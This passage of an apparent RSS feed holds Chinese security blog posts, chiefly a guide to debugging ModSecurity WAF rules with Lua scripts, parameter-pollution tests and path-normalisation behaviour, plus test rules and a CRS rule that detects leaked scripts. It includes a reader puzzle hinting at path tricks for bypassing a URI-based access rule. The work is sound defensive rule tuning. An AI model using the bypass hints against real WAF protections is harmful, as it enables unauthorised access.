5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><strong>什么是5w1h？</strong></p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">在我们初中的语文课堂上，老师常常教导我们运用5w1h方法来提高阅读理解和写作能力，这个方法简单易懂。具体来说，就是在阅读和描述事件时，关注“谁、何时、何地、做了什么、为何这么做以及如何做的”这些问题。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><strong>哪里有用到5w1h？</strong></p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">来看两个实际应用的例子。</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">报告bug时，如果按照“预期效果、实际情况及复现步骤”的模板来写，他人会更容易理解问题所在。许多GitHub项目的issue模板中就有这种规范化的bug报告格式，如<span style="color: #1e6bb8;font-weight: bold;">kubernetes的bug报告模板</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>，极大地提高了沟通效率。</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">类似于Wikipedia和百度百科的词条编写，它们通常遵循类似5w1h的逻辑框架，例如：<img class="rich_pages wxw-img" data-imgfileid="100001797" data-ratio="0.44166666666666665" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=75eed27b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFwyeCXsWiaYzyvlfYuO7V4GJibpaeGicjaBPWKGGXRQ0Q3Hic0mibWBnLWNh08F6UWja9gP9ia1NgTewNCibkpuH8O1tw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">发展历程：（When）按时间线梳理</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">学科背景：（Why）为什么要有这个专业</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">主要研究者：（Who）谁在研究</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">研究对象与内容：（What）在研究什么</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">学科分支：（What）学科有哪些分类</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">研究方法论：（How）怎么研究</section></li></ul><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><strong>什么时候适合使用5w1h？</strong></p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">在撰写文字、交流观点或是制作学习笔记的过程中，可以适当借鉴5w1h方法来清晰地表达事实、见解和概念。尽管大多数技术文章并未严格遵照5w1h结构组织，但你可以尝试以5w1h为线索，提炼出文章中的关键信息和观点。</p><blockquote style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">虽然严格按照5w1h模式撰写可能会稍显繁琐</p></blockquote></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><strong>为什么我向你推荐5w1h？</strong></p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">推荐5w1h的原因在于它能帮助你自查对某个概念的理解程度。如果你能够详细记录下某个概念的所有5w1h要素，说明你对该概念已有了全面的认识。</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">同时，5w1h具有高度条理性，非常适合用于支持“碎片化学习”。举个例子，当你回顾笔记时，若发现某个概念的“为什么”部分尚未掌握，就可以借此机会补足这一知识点。</p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">此外，5w1h工具广泛适用于各类领域，无论是安全技术、编码技能、软技能还是其他专业知识，都可以通过5w1h搭建起坚实的知识架构。</p></section></li></ul><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如今的社会愈发重视“终身学习”，你是否也有过探索和实践高效学习方法的经历呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">5w1h以其实用性强、适应面广、易于理解和操作的特点，特别契合当下快节奏生活下的“碎片化学习”需求，是值得推荐和采用的一种思维工具。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>PS: 本文使用&#34;通义千问&#34;润色，提示词是&#34;风格请和原文保持一致，不要过于书面化，也不要过于口语化，重新润色&#34;。</strong></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">kubernetes的bug报告模板: <em><a href="https://github.com/kubernetes/kubernetes/issues/new?assignees=&amp;labels=kind%2Fbug&amp;projects=&amp;template=bug-report.yaml" target="_blank">https://github.com/kubernetes/kubernetes/issues/new?assignees=&amp;labels=kind%2Fbug&amp;projects=&amp;template=bug-report.yaml</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485449">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c8b552dc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485449%26idx%3D1%26sn%3D8a3d66ba14b55a8036558a949214e473%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 06 Jan 2024 13:22:00 +0800</pubDate>
    </item>
    <item>
      <title>开源WAF规则运营入门</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485437&amp;idx=1&amp;sn=cb56d7fecf40e1eb70fdeaeb02b2cc6a</link>
      <description>介绍基于开源WAF引擎ModSecurity运营规则时的调试方法、变量含义</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2023-12-25 21:21</span> <span style="display: inline-block;">北京</span>
</p>

<p>介绍基于开源WAF引擎ModSecurity运营规则时的调试方法、变量含义</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1720f410&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYxKWrdz1IxORYqBSpsjsRCtA3y7DSicBAQdP9aicEUzADEF3DQs5RO1kcU757iburfb9Q9Hc4PeuydUg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">虽然<span style="color: #1e6bb8;font-weight: bold;">开源的CRS规则集</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>误报率很高，但是ModSecurity引擎还是很强大的，支持非常多的功能，包括丰富的HTTP解析后的字段。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不过虽然<span style="color: #1e6bb8;font-weight: bold;">ModSecurity官方文档</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[2]</sup>中对于变量字段有说明，但是有一些细节仍然不清晰，比如 PATH_INFO变量是否经过url解码、存在参数污染时ARGS/ARGS_GET/ARGS_POST变量值是什么、为什么有时候REQUEST_BODY变量是空 等问题，不清楚这些细节容易写出存在漏报或者误报的规则。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本文介绍快速搞清变量的方法、几个重要且常用的变量。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>搞清楚变量含义最快的方法</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">ModSecurity支持lua插件，你可以用SecRuleScript指令和lua脚本来做一些调试。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">比如添加如下规则可以打印PATH_INFO变量到终端控制台</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">SecRuleScript <span style="color: #98c379;line-height: 26px;">&#34;/tmp/1.lua&#34;</span> <span style="color: #98c379;line-height: 26px;">&#34;id:23333,deny&#34;</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">/tmp/1.lua 内容如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #c678dd;line-height: 26px;">function</span> main()<br/>    <span style="color: #e6c07b;line-height: 26px;">local</span> inspect = require(<span style="color: #98c379;line-height: 26px;">&#34;inspect&#34;</span>)  -- inspect库需要额外安装 <a href="https://github.com/kikito/inspect.lua" target="_blank">https://github.com/kikito/inspect.lua</a><br/>    m.log(2,inspect(m.getvars(<span style="color: #98c379;line-height: 26px;">&#34;PATH_INFO&#34;</span>)))   -- 将 PATH_INFO 变量打印到标准错误中<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> nil;<br/>end<br/></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>ARGS_GET 和 参数污染</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">参数污染，简单的理解，也就是访问&#34;<a href="http://网址/index.php?a=1&amp;a=2&amp;a=3" target="_blank">http://网址/index.php?a=1&amp;a=2&amp;a=3</a>&#34;，有的web容器解析请求后认为a的值是1，另一些web容器解析后认为a的值是3，这种就是存在参数污染问题。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">那么ModSecurity解析参数时，会有参数污染问题吗？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">结论是没有，测试过程如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #c678dd;line-height: 26px;">function</span> main()<br/>    <span style="color: #e6c07b;line-height: 26px;">local</span> inspect = require(<span style="color: #98c379;line-height: 26px;">&#34;inspect&#34;</span>)<br/>    m.log(2,inspect(m.getvars(<span style="color: #98c379;line-height: 26px;">&#34;ARGS_GET&#34;</span>)))<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> nil;<br/>end<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">curl &#39;127.0.0.1:8081?a=1&amp;a=2&amp;a=3&#39; 后，从下面日志中可以看到，ARGS_GET会存储参数a所有的值，这是符合预期的。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">127.0.0.1:8081 是我本地安装了modsecurity的apache服务</p></blockquote><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">Message: { {<br/>    name = <span style="color: #98c379;line-height: 26px;">&#34;ARGS_GET:a&#34;</span>,<br/>    value = <span style="color: #98c379;line-height: 26px;">&#34;1&#34;</span><br/>  }, {<br/>    name = <span style="color: #98c379;line-height: 26px;">&#34;ARGS_GET:a&#34;</span>,<br/>    value = <span style="color: #98c379;line-height: 26px;">&#34;2&#34;</span><br/>  }, {<br/>    name = <span style="color: #98c379;line-height: 26px;">&#34;ARGS_GET:a&#34;</span>,<br/>    value = <span style="color: #98c379;line-height: 26px;">&#34;3&#34;</span><br/>  } }<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">curl &#39;127.0.0.1:8081?a=1&amp;a=2&amp;a=3&#39; ，可以匹配到如下三条规则，也验证了 ARGS_GET 没有参数污染问题。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">SecRule ARGS_GET:a <span style="color: #98c379;line-height: 26px;">&#34;@rx 1&#34;</span> <span style="color: #98c379;line-height: 26px;">&#34;id:946811,msg:&#39;TEST1&#39;,phase:2,block,capture,severity:&#39;CRITICAL&#39;,tag:&#39;attack-rce&#39;,tag:&#39;paranoia-level/1&#39;,t:none,setvar:tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}&#34;</span><br/>SecRule ARGS_GET:a <span style="color: #98c379;line-height: 26px;">&#34;@rx 2&#34;</span> <span style="color: #98c379;line-height: 26px;">&#34;id:946812,msg:&#39;TEST2&#39;,phase:2,block,capture,severity:&#39;CRITICAL&#39;,tag:&#39;attack-rce&#39;,tag:&#39;paranoia-level/1&#39;,t:none,setvar:tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}&#34;</span><br/>SecRule ARGS_GET:a <span style="color: #98c379;line-height: 26px;">&#34;@rx 3&#34;</span> <span style="color: #98c379;line-height: 26px;">&#34;id:946813,msg:&#39;TEST3&#39;,phase:2,block,capture,severity:&#39;CRITICAL&#39;,tag:&#39;attack-rce&#39;,tag:&#39;paranoia-level/1&#39;,t:none,setvar:tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}&#34;</span><br/></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>PATH_INFO 是否经过url解码等处理？</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你觉得下面的自定义规则（禁止外部用户访问 security.xxx.com/login 接口），可以怎么绕过？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">规则含义如下：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">Host 完全匹配 security.xxx.com</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">URI 正则匹配 ^/login</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100001782" data-ratio="0.24133333333333334" style="display: block;margin-right: auto;margin-left: auto;" data-type="jpeg" data-w="750" src="https://wechat2rss.xlab.app/img-proxy/?k=10433c06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYxKWrdz1IxORYqBSpsjsRCtMI5ibJN6fJBOGK7fWGxzFRadfflwicMqTxwvPjCZBibBqibvEAUZvkP5jw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">上面的问题就不直接给出答案了。和路径相关的变量，你永远需要关注它有没有 url解码、../ 、./、/// 等处理逻辑：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">/a/../b 会不会变成 /b</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">/a/./b 会不会变成 /a/b</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">////a 会不会变成 /a</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在ModSecurity中 REQUEST_URI、REQUEST_URI_RAW、PATH_INFO 三个常用的变量都和路径有关，v2版本测试结果如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100001785" data-ratio="0.3314814814814815" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1182ce18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFwyeCXsWiaYxKWrdz1IxORYqBSpsjsRCtFQjA2l3BicaoyJMf4KkniawCzxiaqveZHj64iamwppNgMKz5EtTzooXtlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">结论：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PATH_INFO 和 REQUEST_URI 会url解码、会处理../ 、./、///等字符</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">REQUEST_URI_RAW不做任何处理</section></li></ul><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>REQUEST_BODY</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">根据文档所说，默认情况下，只有请求content-type是application/x-www-form-urlencoded时，REQUEST_BODY才会有值。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你也可以用forceRequestBodyVariable强制给REQUEST_BODY赋值，crs规则也是这么干的，如下</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100001783" data-ratio="0.4475" style="display: block;margin-right: auto;margin-left: auto;" data-type="jpeg" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=d49e3dc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYxKWrdz1IxORYqBSpsjsRCtq1mjqvNShQVpIJNxjEjS6kXuniaAZzsb4YxtcuJ4mwPr60cBILqVGog%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">文档说REQUEST_BODY存储的是原始的请求body，那遇到chunked请求时，它存的是解码后还是解码前的呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">Apache、ModSecurity-V2测试结论：是解码后的</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100001784" data-ratio="0.4740740740740741" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=325ba819&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFwyeCXsWiaYxKWrdz1IxORYqBSpsjsRCtdUsQfiaTwjnaJrMYicz3ZZhdeQhR7mkuv3WpqCtSfB2bzEAUl7TUHMAg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">变量的细节影响规则质量，而ModSecurity的文档并不一定准确，我们可以用lua插件打印变量来测试。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">开源的CRS规则集: <em><a href="https://github.com/coreruleset/coreruleset" target="_blank">https://github.com/coreruleset/coreruleset</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[2]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">ModSecurity官方文档: <em><a href="https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-%28v3.x%29" target="_blank">https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-%28v3.x%29</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485437">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c7ac2b6a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485437%26idx%3D1%26sn%3Dcb56d7fecf40e1eb70fdeaeb02b2cc6a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 25 Dec 2023 21:21:00 +0800</pubDate>
    </item>
    <item>
      <title>安全规则中的正则表达式</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485429&amp;idx=1&amp;sn=c3e6b7558d9c5d48e1d1a0546d44e728</link>
      <description>不论是商业安全产品还是开源安全产品，在规则运营中，写正则一直是很重要的一个事情，而正则使用中有一些基础知识容易被忽略</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2023-12-17 23:47</span> <span style="display: inline-block;">北京</span>
</p>

<p>不论是商业安全产品还是开源安全产品，在规则运营中，写正则一直是很重要的一个事情，而正则使用中有一些基础知识容易被忽略</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6e3cc23f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFwyeCXsWiaYylJHVwITYoo7icmiboTZ4xWCW9GasA7euFTibahVTKoicgRp5pmtXvK6Mjd5T5Gw3QW9GpJmib5bDaLFg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">不论是商业安全产品还是开源安全产品，在规则运营中，写正则一直是很重要的一个事情，而正则使用中有一些基础知识，可能会被很多人忽视。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">比如 ^号是匹配每一行的开头还是匹配一个文件的开头呢？在 yara、modsecurity、suricata 等开源安全产品引擎中答案都是一样的吗？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">比如 捕获分组、断言 等用法是所有引擎都支持的吗？</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>捕获分组、断言 等用法是所有引擎都支持的吗？</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每个产品用的正则引擎库可能是不同的，所以能支持的特性、写法会稍微有些差别。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在c语言中，<span style="color: #1e6bb8;font-weight: bold;">pcre库</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>应该是应用最广泛的正则引擎库，modsecurity、早期的yara都是用的它。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你可以在 <a href="https://www.debuggex.com/cheatsheet/regex/pcre" target="_blank">https://www.debuggex.com/cheatsheet/regex/pcre</a> 这个站点查看 PCRE、JavaScript、Python 支持的用法区别。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>^号是匹配每一行的开头还是匹配一个文件的开头呢?</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">举个例子，在应用广泛的waf规则集crs中，有一条规则是检查响应内容是不是以 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">#!/</code> 开头，已检查 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">#!/bin/bash</code> 等脚本源码泄露，它的规则如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">SecRule RESPONSE_BODY <span style="color: #98c379;line-height: 26px;">&#34;@rx ^#\!\s?/&#34;</span> \<br/>    <span style="color: #98c379;line-height: 26px;">&#34;id:950140,\<br/>    ...<br/></span></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">实际上这条规则就和预期不同。在 modsecurity v3版本中，实际上它是在匹配响应内容&#34;每一行&#34;是否以 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: 